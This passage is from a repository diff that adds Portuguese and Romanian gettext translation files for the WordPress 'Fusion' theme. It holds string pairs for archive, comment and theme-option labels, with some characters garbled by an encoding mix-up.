+msgstr "j \\d\\e F \\d\\e Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "F \\d\\e Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "Arquivo do Autor"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "Arquivos do Blog"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:14
+msgid "Permanent Link to"
+msgstr "Link permanente para"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "Postado por %s como %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:37
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "Posts por %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "on"
+msgstr "em"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:28
+msgid "Read the rest of this entry &raquo;"
+msgstr "Leia o resto do post &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "No Comments"
+msgstr "Nenhum comentÃ¡rio."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "1 Comment"
+msgstr "1 ComentÃ¡rio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "% Comments"
+msgstr "% ComentÃ¡rios"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:65
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:12
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:33
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Posts anteriores"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:66
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "Newer Entries &raquo;"
+msgstr "Posts recentes &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Desculpe, mas nÃ£o hÃ¡ nenhum post na categoria %s ainda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:74
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Desculpe, mas nÃ£o hÃ¡ nenhum post nesta data."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Desculpe, mas nÃ£o hÃ¡ nenhum post por %s ainda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:79
+msgid "No posts found."
+msgstr "Nenhum post encontrado."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "Arquivos por mÃªs:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "Arquivos por tÃ­tulo:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:20
+msgid "This user hasn't shared any biographical information"
+msgstr "Este utilizador nÃ£o compartilha nenhuma informaÃ§Ã£o bibliogrÃ¡fica"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:25
+msgid "Homepage:"
+msgstr "Homepage:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:26
+msgid "Yahoo Messenger:"
+msgstr "Mensageiro do Yahoo:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:27
+msgid "Jabber/GTalk:"
+msgstr "Jabber/GTalk:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:28
+msgid "AIM:"
+msgstr "AIM:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:45
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:29
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:25
+msgid "l, F jS, Y"
+msgstr "l, j \\d\\e F \\d\\e Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Tags: "
+msgstr "Etiquetas:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Posted in"
+msgstr "Postado em"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Edit"
+msgstr "Editar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:59
+msgid "No posts found by this author."
+msgstr "Nenhum post por esse autor encontrado."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "Insira a sua senha para ver comentÃ¡rios"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "ComentÃ¡rios"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "CitaÃ§Ãµes"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "Nenhum comentÃ¡rio ainda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Tem de fazer <a href=\"%s\">login</a> para postar um comentÃ¡rio."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "Cancelar resposta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logged in as"
+msgstr "Login feito como"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Log out of this account"
+msgstr "Sair"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logout &raquo;"
+msgstr "Sair &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Bem vindo novamente <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Change &raquo;"
+msgstr "Mudar &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Close &raquo;"
+msgstr "Fechar &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+msgid "Name"
+msgstr "Nome"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(required)"
+msgstr "(necessÃ¡rio)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "E-Mail"
+msgstr "E-Mail"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(will not be published)"
+msgstr "(nÃ£o serÃ¡ publicado)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:88
+msgid "Website"
+msgstr "Website"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:106
+msgid "Submit Comment"
+msgstr "Mandar ComentÃ¡rio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:124
+msgid "No trackbacks yet."
+msgstr "Ainda sem citaÃ§Ãµes."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:137
+msgid "Comments are closed."
+msgstr "Os comentÃ¡rios estÃ£o fechados."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "Fusion theme by"
+msgstr "Tema Fusion por"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "powered by "
+msgstr "a correr em"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Entries (RSS)"
+msgstr "Posts (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "and"
+msgstr "e"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Comments (RSS)"
+msgstr "ComentÃ¡rios (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:15
+msgid "Increase/Decrease text size"
+msgstr "Aumentar/Diminuir tamanho do texto"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:16
+msgid "Switch between full and fixed width"
+msgstr "Muda entre largura total e largura fixa"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:88
+msgid "Fusion Theme Options"
+msgstr "OpÃ§Ãµes do tema Fusion"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:91
+msgid "Meta keywords:"
+msgstr "Meta keywords:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:92
+msgid "Separate with commas"
+msgstr "Separar com vÃ­rgulas"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Use custom logo image"
+msgstr "Usar imagem de logo prÃ³pria"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Por o logo como \"logo.png\" na pasta do tema:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "You should export the logo image with transparency enabled"
+msgstr "Deve exportar a imagem de logo com transparÃªncia ligada"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Disable homepage tab"
+msgstr "Desactivar aba de pÃ¡gina inicial"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Check this if you are using a static page as the homepage"
+msgstr "Marque se estÃ¡ a usar uma pÃ¡gina estÃ¡tica como pÃ¡gina inicial"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Show the categories as header tabs"
+msgstr "Mostrar as categorias como abas no cabeÃ§alho"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "(instead of pages)"
+msgstr "(ao invÃ©s de pÃ¡ginas)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Disable the default category block in the sidebar"
+msgstr "Desabilita o bloco de categorias padrÃ£o na barra lateral"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "Marque se preferir o display em widgets das categorias ou apenas quer esconder as categorias"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default search block in the sidebar"
+msgstr "Desactivar o bloco de procura padrÃ£o na barra lateral"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you don't like the theme-default search look"
+msgstr "Marque se nÃ£o gostar do visual da procura padrÃ£o do tema"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable layout controls (Aa/<>)"
+msgstr "Desactivar controles de layout (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:124
+msgid "Default page content width:"
+msgstr "Largura do conteÃºdo da pÃ¡gina:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Fixed (960 pixels)"
+msgstr "Fixo (960 pixels)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:131
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "Fluente (95 por cento da largura da tela do visitante)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "Note que, se os controles de layout estiverem activados, a configuraÃ§Ã£o em cookie da largura de pÃ¡gina em javascript do visitante vai sobrescrever essa opÃ§Ã£o"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Sidebar position:"
+msgstr "PosiÃ§Ã£o da barra lateral:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:139
+msgid "Right (default)"
+msgstr "Direita (padrÃ£o)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:143
+msgid "Left"
+msgstr "Esquerda"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "Disable jQuery and the associated code"
+msgstr "Desactivar jQuery e todo o cÃ³digo associado"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Isso vai reduzir o carregamento da pÃ¡gina em ~70kb, mas vai tambÃ©m desactivar algumas funÃ§Ãµes e efeitos (controles de layout, links rss dentro do menu de categorias, abas de comentÃ¡rios, citaÃ§Ãµes).<br />Deveria deixar assim a nÃ£o ser que tenha problemas com o uso de banda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Custom CSS code"
+msgstr "CÃ³digo CSS prÃ³prio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check "
+msgstr "Aqui pode adicionar ou mudar qualquer coisa relacionada a desenho se tem algum conhecimento bÃ¡sico em CSS. Confira"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "to see existing styles, which you can redefine here."
+msgstr "para ver estilos existentes, pode redefinir aqui."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "NÃ£o modificar style.css se quiser preservar as suas alteraÃ§Ãµes depois de uma atualizaÃ§Ã£o do tema. Use esta opÃ§Ã£o no lugar."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:155
+msgid "Save Changes"
+msgstr "Gravar alteraÃ§Ãµes"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+msgid "by"
+msgstr "por"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s em %2$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+msgid "H:i"
+msgstr "H:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:208
+msgid "Your comment is awaiting moderation."
+msgstr "O seu comentÃ¡rio estÃ¡ a aguardar moderaÃ§Ã£o."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:218
+msgid "Reply"
+msgstr "Resposta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:218
+msgid "Quote"
+msgstr "Citar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+msgid "You are Home"
+msgstr "EstÃ¡ no InÃ­cio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Home"
+msgstr "InÃ­cio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Click for Home"
+msgstr "Clique para InÃ­cio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:28
+msgid "This entry was posted on"
+msgstr "Este post foi feito"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:30
+msgid "and is filed under"
+msgstr "e estÃ¡ como"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:32
+msgid "You can follow any responses to this entry through"
+msgstr "Pode acompanhar respostas ao post atravÃ©s de"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Pode <a href=\"#respond\">deixar uma resposta</a>, ou <a href=\"%s\" rel=\"trackback\">citar</a> de seu prÃ³prio site."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "As respostas estÃ£o actualmente fechadas, mas pode <a href=\"%s\" rel=\"trackback\">citar</a> do seu prÃ³prio site."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "Pode saltar para o fim e deixar uma resposta. Pinging nÃ£o Ã© actualmente permitido."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "Tanto comentÃ¡rios como pings estÃ£o actualmente fechados."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "Editar este post"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Desculpe, nenhum anexo corresponde Ã  sua procura."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:60
+msgid "Not Found"
+msgstr "NÃ£o encontrado."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:61
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Desculpe, mas estÃ¡ Ã  procura de algo que nÃ£o estÃ¡ aqui."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:9
+msgid "Links:"
+msgstr "Links:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-hidecomments.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:19
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Leia o restante da pÃ¡gina &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:7
+msgid "Search Results"
+msgstr "Resultados da procura"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:39
+msgid "No posts found. Try a different search?"
+msgstr "Nenhum post encontrado. Talvez uma procura diferente?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "Procurar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
+msgstr "EstÃ¡ a navegar nos arquivos pela categoria %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "EstÃ¡ a navegar nos arquivos por %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "EstÃ¡ a navegar nos arquivos pelo ano %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:39
+msgid "You have searched the archives for"
+msgstr "Procurou os arquivos para"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:42
+msgid "You are currently browsing the archives."
+msgstr "EstÃ¡ a navegar nos arquivos."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:66
+msgid "Archives"
+msgstr "Arquivos"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:77
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:61
+msgid "Sorry, no posts matched your criteria."
+msgstr "Desculpe, nenhum post corresponde Ã  sua pesquisa."
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/ro_RO.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/ro_RO.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/ro_RO.po	(revision 44)
@@ -0,0 +1,585 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.6\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-04-05 18:13+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: digitalnature <hello@digitalnature.ro>\n"
+"Language-Team: digitalnature.ro <hello@digitalnature.ro>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Romanian\n"
+"X-Poedit-Country: ROMANIA\n"
+"X-Poedit-Basepath: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:6
+msgid "Page not found (404)"
+msgstr "Pagina nu a fost gasitÄ (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+#, php-format
+msgid "Archive for category %s"
+msgstr "ArhivÄ pentru categoria %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+#, php-format
+msgid "Posts Tagged %s"
+msgstr "PostÄri etichetate %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+#, php-format
+msgid "Archive for %s"
+msgstr "ArhivÄ pentru %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr "j F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "F, Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "Arhiva autorului"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "Arhivele blog-ului"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:15
+msgid "Permanent Link:"
+msgstr "Link permanent:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s on %s"
+msgstr "Publicat de %s Ã®n %s la %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:33
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "Articole scrise de %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:17
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:26
+msgid "Read the rest of this entry &raquo;"
+msgstr "CiteÅte restul acestui articol &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "No Comments"
+msgstr "Nu existÄ comentarii"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "1 Comment"
+msgstr "Un comentariu"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "% Comments"
+msgstr "% Comentarii"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:63
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:48
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Articole mai vechi"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:64
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:50
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:14
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:35
+msgid "Newer Entries &raquo;"
+msgstr "Articole mai noi &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:70
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Ãmi pare rÄu, incÄ nu exista nici un articol in categoria %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Ãmi pare rÄu, nu existÄ nici un articol scris la aceastÄ datÄ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:75
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Ãmi pare rÄu, Ã®ncÄ nu existÄ nici un articol scris de %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+msgid "No posts found."
+msgstr "Nu a fost gÄsit nici un articol."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "Arhive dupa lunÄ:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "Articole dupÄ subiect:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:16
+msgid "This user hasn't shared any biographical information"
+msgstr "Acest utilizator nu are nici o descriere."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:21
+msgid "Homepage:"
+msgstr "PaginÄ web:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:22
+msgid "Yahoo Messenger:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:23
+msgid "Jabber/GTalk:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:24
+msgid "AIM:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:41
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "l, F jS, Y"
+msgstr "l, j F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Tags: "
+msgstr "Etichete: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
